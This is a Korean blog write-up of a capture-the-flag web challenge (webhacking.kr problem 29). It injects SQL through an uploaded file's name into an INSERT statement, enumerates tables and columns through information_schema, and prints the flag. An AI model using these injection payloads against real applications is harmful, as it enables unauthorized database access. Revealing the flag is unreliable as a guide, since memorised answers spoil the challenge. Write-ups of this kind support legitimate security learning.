본문 바로가기

 

29번 문제에요.

배점은 400점, 분야는 DB에요.

 

 

FLAG는 다른 테이블에 있대요.

그리고 파일을 올릴수 있네요.

 

 

avatar.png 를 올려볼게요.

 

 

잘 올라가네요.

 

그런데 DB문제이니 파일이름이 DB에 올라간다는거 같은데...

파일이름,시간,IP가 어떤순서대로 들어가는지를 찾아본결과

 

insert into ????(파일이름,시간,IP) values('파일이름',시간,'IP')

식으로 들어가네요.

 

그러면 나와라 피들러!

 

 

 

파일이름을

insert into ????(파일이름,시간,IP) values('test',0,'자신.의.IP.주소'),((select database()),0,자신.의.IP.주소'#')

 

가 되도록 변조해주면?

 

 

chall29

라네요.

 

그러면 flag값은 다른 테이블에 있다고 했으니 테이블의 갯수를 뽑아내보죠.

 

 

insert into ????(파일이름,시간,IP) values('test',(select count(table_name) from information_schema.tables where table_schema='chall29'),'자신.의.IP.주소')#') 

 

로 테이블의 갯수를 뽑아내보면?

 

 

0일떄 1970-01-01 09:00:00 이었으니 1970-01-01 09:00:02 이면 2개겠네요.

 

 

 

그러면 이제 같은방법으로 테이블명을 뽑아내보면?



 

files / flag_congratz

네요.

 

 

 

이제 flag_congratz의 컬럼 갯수를 뽑아내보죠

 

 

1개.

 

컬럼의 이름은

 

flag

 

그러면 마지막으로 select flag from flag_congratz 를 넣으면????

 

FLAG{didYouFeelConfused?_sorry:)}

 

 

마지막으로 FLAG를 Auth에 넣으면????

 

빠밤!

 

문제가 풀렸네요.

댓글